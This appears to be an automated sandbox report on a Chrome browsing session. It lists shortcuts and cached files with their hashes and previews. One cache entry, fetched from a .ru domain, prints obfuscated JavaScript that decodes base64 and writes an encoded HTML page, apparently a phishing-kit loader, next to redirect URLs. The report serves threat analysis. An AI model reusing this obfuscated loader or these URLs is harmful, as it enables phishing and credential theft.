SHA1:	76BA97E63AA2532639743F995CEF1923C40C1C2F
SHA-256:	7C9BDC820EE2C370877C39A2C22785ACFBC2E8E483D68F55EF5F8EEA2E041F8F
SHA-512:	23191B74EB0FF770FB92900EA279C0D138A72A083D078446A25E377953233E013FAB6F0346EF4CBDB1A2AC3D925B988D67157842D38029EDDF36905236FD51E8
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Mar 7 08:14:05 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9740870841765252
Encrypted:	false
SSDEEP:	48:8hdqTW6GHNidAKZdA19ehwiZUklqehN5y+3:8mPo05y
MD5:	2677BCA23A0F6067D9DFEA22E579D68D
SHA1:	B6BE40E1DF382AE97EDA77F91DEFF6679ABB9C5F
SHA-256:	3A45CDCDC5F5A37DF2FF52DDCB90842A550A0AE6980C875D00F9D5AAED01381F
SHA-512:	9FAC7B0D493D77284569317DB37064A5851AA44452E75178451002E63343798F195A5CF653B62E8AF7EF6EA82BF8D429519BA32C69E4B6BEC870448A68D4B2AA
Malicious:	false
Preview:	L..................F.@.. ...$+.,....t.^FA...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IgZ.I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VgZ.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VgZ.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VgZ.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VgZ.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8g'P.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Mar 7 08:14:05 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9876307036348004
Encrypted:	false
SSDEEP:	48:8qdqTW6GHNidAKZdA1weh/iZUkAQkqehk5y+2:8PPi9Q35y
MD5:	F76532799E61F7ED3E107A63B65897EB
SHA1:	8272D9BD304B376D20D97654359A8D4250E7102C
SHA-256:	1A3660C05F77494F490E5CFF92D9134318C34DB49D4FC74EFBE2E7B19C1CE88A
SHA-512:	E5ABFFB12C8F3EA2DA92984188D8269D6729941E3EA2781F74115D153D7D0D98EF1E8501EC164C6A9790C534811D2CF1410E300CBC0B8AA4632B1071991AC321
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....3TFA...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IgZ.I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VgZ.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VgZ.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VgZ.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VgZ.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8g'P.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.002020650506935
Encrypted:	false
SSDEEP:	48:8xXdqTW6sHNidAKZdA14tseh7sFiZUkmgqeh7sW5y+BX:8xEPkn45y
MD5:	47622548E45770036FFB5247E6E7C94A
SHA1:	A72FB2825BC27E30138C6C75B839579940895D7D
SHA-256:	B5A4088C4CD4BFFA220204A941C3178D1B443B44171EACB06F6E27C88FCDA076
SHA-512:	C037E97C84BDECB0BF922075872B10A23752931F88BB4F514D9FF1753B6CB69E14D1ECE755E32776D8169574E97833C802E8979CCB13186D982B9F3A60DDC476
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IgZ.I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VgZ.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VgZ.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VgZ.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8g'P.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Mar 7 08:14:05 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.989638937433041
Encrypted:	false
SSDEEP:	48:8cdqTW6GHNidAKZdA1vehDiZUkwqehA5y+R:8ZPpe5y
MD5:	9E03997DDF696B20CC501A9277C96460
SHA1:	7C73D2F94D1757FB725245CE7ADAF8BE9111ADD3
SHA-256:	6C5F1B10608BED81191618E059EFED9BA22FF9D38F53E95B6BB7E8FCB3BD8E72
SHA-512:	E873A0D801972CE26A7BD432D4AC72C4AB77796AA3879C3D5DB78623BF43D200D2631524ACC2BDF00542AC4A9FD2359C3A5DEACB5437FABB145C927A682713EA
Malicious:	false
Preview:	L..................F.@.. ...$+.,......OFA...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IgZ.I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VgZ.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VgZ.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VgZ.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VgZ.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8g'P.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Mar 7 08:14:05 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9764152132158967
Encrypted:	false
SSDEEP:	48:8PdqTW6GHNidAKZdA1hehBiZUk1W1qeh65y+C:8sPZ9a5y
MD5:	69A6E358A6593252DA9522B756257221
SHA1:	17A8BA1EB013EC364B2F77CE681DBD14ABE06065
SHA-256:	FE82E13639D4B4070CC9D011BF0367D852D6BF64C60143F6F81B98EB40DFA583
SHA-512:	56138F9A9C2989276E096967848C12D2FFE7159AA52F5ECA8649F1669BDA19A7494E8D338C4E37F54976C22280085250C1AF36DE798C8106E6C04D2B72C77E1B
Malicious:	false
Preview:	L..................F.@.. ...$+.,....a.YFA...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IgZ.I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VgZ.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VgZ.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VgZ.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VgZ.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8g'P.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Mar 7 08:14:05 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9885275206704
Encrypted:	false
SSDEEP:	48:8IdqTW6GHNidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb45y+yT+:8NPlT/TbxWOvTb45y7T
MD5:	C972CF4903A0179C33C1234F2CB1E769
SHA1:	4951CAD6DD2A866371ADB40902BF5728A40C247F
SHA-256:	5A01BA6713F8D1C3E3B879F3D4B27F422B13CEB5D0922E7D3508A8D7AEEA61D9
SHA-512:	59E38F501BB8DD0637724570AC92D54F63DC53626605E958C6CD6815D93B68CCCB155AB18760F59FDDD5EDF53FFA8A9B8D6B96CB6EE17A60A37E06CB7F3BA217
Malicious:	false
Preview:	L..................F.@.. ...$+.,....<.EFA...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IgZ.I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VgZ.I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VgZ.I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VgZ.I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VgZ.I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........8g'P.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65368)
Category:	downloaded
Size (bytes):	190411
Entropy (8bit):	4.655969198018641
Encrypted:	false
SSDEEP:	1536:CPIPtJCjvs7Du9LpXX98gwCLILb5pzOo9PIPtJCjvs7Du9LpXX98gwCLILb5pzOo:TtJEV8LAtJEV8Lpvp
MD5:	8D66D6CF88F7B9B1CC0952D1611FC6DD
SHA1:	96F72C822EC28BF82A384C57C3374CE84C737EA9
SHA-256:	E3750EFB90CBA2D52F7F992566A214740B958BEE014C045A0BC8E07C8E9E00F4
SHA-512:	8D3C9E4ECF11342DF14A79F575345E8EA7C289CA1EE9FBB1E2DE71F375611004F327A8D1926E2BB8E04D62AF28D8AA069D6AFE18265A23DE7104EDB4BF8F9B49
Malicious:	false
URL:	https://as.krxlexm.ru/J8eBu/
Preview:	<script>.HWPpuRpmlM = atob("aHR0cHM6Ly9aSy5rcnhsZXhtLnJ1L0o4ZUJ1Lw==");.rScPfjQgdd = atob("bm9tYXRjaA==");.EOmGfsDHYL = atob("d3JpdGU=");.if(HWPpuRpmlM == rScPfjQgdd){.document[EOmGfsDHYL](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPgogICAgPHNjcmlwdD4KICAgIGNvbnN0IE5yRFl2aG9KWXQgPSB7CiAgZ2V0KGZ2VkdmdllrbXYsIFVxSERrSEVyaUkpIHsKICAgIGNvbnN0IHRjY1VCQVBhb0sgPSBbLi4uVXFIRGtIRXJpSV0KICAgICAgLm1hcChjbmd2QmtranlGID0+ICsoJ+++oCcgPiBjbmd2QmtranlGKSkKICAgICAgLmpvaW4oJycpOwogICAgY29uc3QgZ25nQVlRbmNGRSA9IHRjY1VCQVBhb0sucmVwbGFjZSgvLns4fS9nLCBlVHhjT250Q1FRID0

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
URL:	https://kxig5z.zvaznx.ru/kella$c0ez7sqh
Preview:	1

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1659), with no line terminators
Category:	downloaded
Size (bytes):	1659
Entropy (8bit):	6.056974487172101
Encrypted:	false
SSDEEP:	48:fPxx2vp7ES3yARg3Hvp7ES3yARg6nN7vp7ES3yARgf:f5oRAUyAW3HRAUyAWqlRAUyAWf
MD5:	16CC31B534D0852EEF26A07E361695AD
SHA1:	66603A8B5F7202EC75A91A5D2D59ED6B20268208
SHA-256:	DFC38FCF06B704AF26E00D86C49C99DA2C975C2CC913229EF76DD70DAB780A93
SHA-512:	20BFC68CC866764C5BB8DB038AD2A4D29035BBEE9FA7F3F495A82D33CBE7D892A15A73BB0B2E6703351EAFC6092B212556216A2078BEC2244848DCF5089F4C6A
Malicious:	false
URL:	https://t.co/nPMN4J1OaS
Preview:	<head><noscript><META http-equiv="refresh" content="0;URL=https://link.pr.clinicsense.com/ls/click?upn=u001.bixIXbrw0kaFkQEgg0TJdPtbvEjTnFQIgpHsY-2BD9HAKW09GwZ0eOPyDypXcODAzGFHf7_gw16dLiOB5Y6o5cWqstvRt5mVU5j0Pd6i9nItHMkWNuRweWPqPrmrZvD3iBqo2Vv8dxzkJK4LB64NMNmCrVJbwWglvG0QcMDNbud9ME7ipYxqWz2X8UNHz1qS6MeBUPO7oCozZeFGex0aJOsJLJwPVVOlaYC-2BiRd7D5MFMM9kkvpg-2FWvIHRoffyl6eUi1ez8Q56pw8BgNPVWujC7KAJY1f7-2FJZgzuI6OrWWzjabcIOxIMlSlAsZmw8hN-2FJLi49m8vE-2BUSBdl2bOgHltJXLOmpb0UcNKCQlyPPsVK0oA3SyBhIqYgL1zj6oIWRQzZCL5Ww-2BG4OjE-2F27U1IbXEK2zvIwnAqjEga28HYkTjnwCrNPE-3D"></noscript><title>https://link.pr.clinicsense.com/ls/click?upn=u001.bixIXbrw0kaFkQEgg0TJdPtbvEjTnFQIgpHsY-2BD9HAKW09GwZ0eOPyDypXcODAzGFHf7_gw16dLiOB5Y6o5cWqstvRt5mVU5j0Pd6i9nItHMkWNuRweWPqPrmrZvD3iBqo2Vv8dxzkJK4LB64NMNmCrVJbwWglvG0QcMDNbud9ME7ipYxqWz2X8UNHz1qS6MeBUPO7oCozZeFGex0aJOsJLJwPVVOlaYC-2BiRd7D5MFMM9kkvpg-2FWvIHRoffyl6eUi1ez8Q56pw8BgNPVWujC7KAJY1f7-2FJZgzuI6OrWWzjabcIOxIMlSlAsZmw8hN-2FJLi49m8vE-2BUSBdl2bOgHltJXLOmpb0UcNKCQlyPPs

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48238)
Category:	downloaded
Size (bytes):	48239
Entropy (8bit):	5.343270713163753
Encrypted:	false
SSDEEP:	768:+CbPzHMb42QOna0rhgaqC2DdONTjwzsLSh0ZsC3Y2zIijkKY1LBep7iFFQ7Srv3h:gb425na0rhgaqDnzs22z3kH
MD5:	184E29DE57C67BC329C650F294847C16
SHA1:	961208535893142386BA3EFE1444B4F8A90282C3
SHA-256:	DD03BA1DD6D73643A8ED55F4CEBC059D673046975D106D26D245326178C2EB9D
SHA-512:	AF3D62053148D139837CA895457BEEF7620AA52614B9A08FD0D5BEF8163F4C3B9E8D7B2A74D29079DB3DACC51D98AE4A5DC19C788928E5A854D7803EBB9DED9C
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
